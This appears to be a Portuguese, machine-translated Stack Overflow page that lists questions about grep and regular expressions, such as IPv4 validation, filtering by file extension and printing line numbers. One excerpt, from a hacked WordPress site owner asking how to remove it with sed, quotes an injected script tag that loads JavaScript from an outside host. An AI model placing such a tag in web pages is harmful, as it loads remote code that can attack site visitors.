Perguntas com a marcação «grep»

grep é um utilitário de pesquisa de texto em linha de comando originalmente escrito para Unix. Ele usa expressões regulares para corresponder ao texto e é comumente usado como um filtro em pipelines. Use essa tag somente se sua pergunta estiver relacionada à programação usando APIs grep ou baseadas em grep. Perguntas relacionadas ao uso ou à solução de problemas de opções de linha de comando grep em si não são abordadas.

30
Validando endereços IPv4 com regexp
Tenho tentado obter um regex eficiente para validação IPv4, mas sem muita sorte. Em um ponto parecia que eu estava farto (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}, mas produz alguns resultados estranhos: $ grep --version grep (GNU grep) 2.7 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.1 192.168.1.1 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.255 192.168.1.255 $ grep …

3
git grep por extensões de arquivo
Eu sei que, se eu quisesse pesquisar um padrão apenas em arquivos com certas extensões, eu poderia fazer isso: // searches recursively and matches case insensitively in only javascript files // for "res" from the current directory grep -iIr --include=*.js res ./ Tenho tentado pesquisar uma maneira de fazer isso …

6
grep para caracteres especiais no Unix
Eu tenho um arquivo de log (application.log) que pode conter a seguinte sequência de caracteres normais e especiais em várias linhas: *^%Q&$*&^@$&*!^@$*&^&^*&^& Desejo pesquisar o (s) número (s) de linha que contém essa seqüência de caracteres especial. grep '*^%Q&$*&^@$&*!^@$*&^&^*&^&' application.log O comando acima não retorna nenhum resultado. Qual seria a …

5
grep usando o “|” operador alternativo
A seguir está um exemplo de um arquivo grande denominado AT5G60410.gff: Chr5 TAIR10 gene 24294890 24301147 . + . ID=AT5G60410;Note=protein_coding_gene;Name=AT5G60410 Chr5 TAIR10 mRNA 24294890 24301147 . + . ID=AT5G60410.1;Parent=AT5G60410;Name=AT5G60410.1;Index=1 Chr5 TAIR10 protein 24295226 24300671 . + . ID=AT5G60410.1-Protein;Name=AT5G60410.1;Derives_from=AT5G60410.1 Chr5 TAIR10 exon 24294890 24295035 . + . Parent=AT5G60410.1 Chr5 TAIR10 five_prime_UTR …
92 regex  linux  grep 

8
Como truncar longas linhas correspondentes retornadas por grep ou ack
Eu quero executar ack ou grep em arquivos HTML que geralmente têm linhas muito longas. Não quero ver linhas muito longas que se quebram repetidamente. Mas eu quero ver apenas aquela parte de uma linha longa que envolve uma string que corresponde à expressão regular. Como posso fazer isso usando …
91 grep  unix  ack 

1
comportamento de espaços em branco grep regex
Eu tenho um arquivo de texto contendo algo como: 12,34 EUR 5,67 EUR ... Há um espaço em branco antes de 'EUR' e eu ignoro 0, XX EUR. Eu tentei: grep '[1-9][0-9]*,[0-9]\{2\}\sEUR' => didn't match ! grep '[1-9][0-9]*,[0-9]\{2\} EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s*EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s[E]UR' => …
87 regex  grep  gnu 

5
Mostra o nome do arquivo e o número da linha na saída grep
Estou tentando pesquisar meu diretório rails usando grep. Estou procurando uma palavra específica e quero usar o grep para imprimir o nome do arquivo e o número da linha. Existe um sinalizador grep que fará isso por mim? Tenho tentado usar uma combinação de -ne, -lmas esses estão imprimindo os …
87 awk  grep 

10
Usando o sinal de estrela no grep
Estou tentando pesquisar a substring "abc" em um arquivo específico no linux / bash Então eu faço: grep '*abc*' myFile Não retorna nada. Mas se eu fizer: grep 'abc' myFile Ele retorna as correspondências corretamente. Agora, isso não é um problema para mim. Mas e se eu quiser pesquisar uma …
87 regex  bash  grep 


7
Como substituir toda a string usando sed ou possivelmente grep
Então, todo o meu servidor foi hackeado ou teve o problema de malware. meu site é baseado no WordPress e a maioria dos sites hospedados no meu servidor é baseada no WordPress. O hacker adicionou essa linha de código a cada arquivo e no banco de dados <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> …
10 bash  shell  sed  grep 
Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.